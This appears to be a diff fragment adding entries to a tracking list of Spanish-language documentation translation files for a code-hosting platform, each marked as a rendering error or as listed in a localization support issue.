+translations/es-ES/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-organization-settings/renaming-an-organization.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-organization-settings/renaming-an-organization.md,rendering error +translations/es-ES/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md,rendering error +translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md,rendering error +translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md,rendering error +translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md,rendering error +translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md,rendering error +translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md,rendering error +translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md,rendering error +translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md,rendering error +translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md,rendering error +translations/es-ES/content/organizations/organizing-members-into-teams/about-teams.md,rendering error +translations/es-ES/content/organizations/organizing-members-into-teams/index.md,Listed in localization-support#489 +translations/es-ES/content/organizations/organizing-members-into-teams/index.md,rendering error +translations/es-ES/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md,Listed in localization-support#489 +translations/es-ES/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md,rendering error +translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md,rendering error +translations/es-ES/content/packages/learn-github-packages/about-permissions-for-github-packages.md,rendering error +translations/es-ES/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md,rendering error +translations/es-ES/content/packages/learn-github-packages/deleting-and-restoring-a-package.md,Listed in localization-support#489 +translations/es-ES/content/packages/learn-github-packages/deleting-and-restoring-a-package.md,rendering error +translations/es-ES/content/packages/learn-github-packages/installing-a-package.md,rendering error +translations/es-ES/content/packages/learn-github-packages/introduction-to-github-packages.md,rendering error +translations/es-ES/content/packages/learn-github-packages/publishing-a-package.md,rendering error +translations/es-ES/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md,rendering error +translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,rendering error +translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,rendering error +translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,rendering error +translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md,rendering error +translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,rendering error +translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,rendering error +translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md,Listed in localization-support#489 +translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md,rendering error +translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md,Listed in localization-support#489 +translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md,rendering error +translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md,Listed in localization-support#489 +translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md,rendering error +translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md,Listed in localization-support#489 +translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md,rendering error +translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md,Listed in localization-support#489 +translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md,rendering error +translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md,Listed in localization-support#489 +translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md,rendering error +translations/es-ES/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md,rendering error +translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md,rendering error +translations/es-ES/content/pages/index.md,rendering error +translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md,rendering error +translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md,Listed in localization-support#489 +translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md,rendering error +translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/index.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md,rendering error +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/index.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/commit-branch-and-tag-labels.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/commit-branch-and-tag-labels.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md,rendering error +translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md,rendering error +translations/es-ES/content/pull-requests/index.md,Listed in localization-support#489 +translations/es-ES/content/pull-requests/index.md,rendering error +translations/es-ES/content/repositories/archiving-a-github-repository/archiving-repositories.md,rendering error +translations/es-ES/content/repositories/archiving-a-github-repository/backing-up-a-repository.md,rendering error +translations/es-ES/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md,rendering error +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md,rendering error +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md,Listed in localization-support#489 +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md,rendering error +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md,Listed in localization-support#489 +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md,rendering error +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md,Listed in localization-support#489 +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md,rendering error +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md,Listed in localization-support#489 +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md,rendering error +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,Listed in localization-support#489 +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,rendering error +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,Listed in localization-support#489 +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,rendering error +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md,rendering error +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/index.md,rendering error +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md,Listed in localization-support#489 +translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md,rendering error +translations/es-ES/content/repositories/creating-and-managing-repositories/about-repositories.md,rendering error +translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md,Listed in localization-support#489 +translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md,rendering error +translations/es-ES/content/repositories/creating-and-managing-repositories/deleting-a-repository.md,rendering error +translations/es-ES/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md,Listed in localization-support#489 +translations/es-ES/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md,rendering error +translations/es-ES/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md,Listed in localization-support#489 +translations/es-ES/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md,rendering error +translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md,rendering error +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md,Listed in localization-support#489 +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md,rendering error +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,Listed in localization-support#489 +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,rendering error +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md,rendering error +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md,rendering error +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md,rendering error +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,rendering error +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md,Listed in localization-support#489 +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md,rendering error +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md,rendering error +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md,Listed in localization-support#489 +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md,rendering error +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,Listed in localization-support#489 +translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,rendering error +translations/es-ES/content/repositories/releasing-projects-on-github/about-releases.md,Listed in localization-support#489 +translations/es-ES/content/repositories/releasing-projects-on-github/about-releases.md,rendering error +translations/es-ES/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md,rendering error +translations/es-ES/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md,Listed in localization-support#489 +translations/es-ES/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md,rendering error +translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md,Listed in localization-support#489 +translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md,rendering error +translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md,Listed in localization-support#489 +translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md,rendering error +translations/es-ES/content/repositories/working-with-files/managing-files/creating-new-files.md,Listed in localization-support#489 +translations/es-ES/content/repositories/working-with-files/managing-files/creating-new-files.md,rendering error +translations/es-ES/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md,Listed in localization-support#489 +translations/es-ES/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md,rendering error +translations/es-ES/content/repositories/working-with-files/managing-files/renaming-a-file.md,Listed in localization-support#489 +translations/es-ES/content/repositories/working-with-files/managing-files/renaming-a-file.md,rendering error +translations/es-ES/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md,Listed in localization-support#489 +translations/es-ES/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md,rendering error +translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md,rendering error +translations/es-ES/content/rest/guides/basics-of-authentication.md,rendering error +translations/es-ES/content/rest/guides/best-practices-for-integrators.md,rendering error +translations/es-ES/content/rest/guides/building-a-ci-server.md,rendering error +translations/es-ES/content/rest/guides/discovering-resources-for-a-user.md,rendering error +translations/es-ES/content/rest/guides/getting-started-with-the-rest-api.md,rendering error +translations/es-ES/content/rest/guides/index.md,rendering error +translations/es-ES/content/rest/guides/rendering-data-as-graphs.md,rendering error +translations/es-ES/content/rest/guides/traversing-with-pagination.md,rendering error 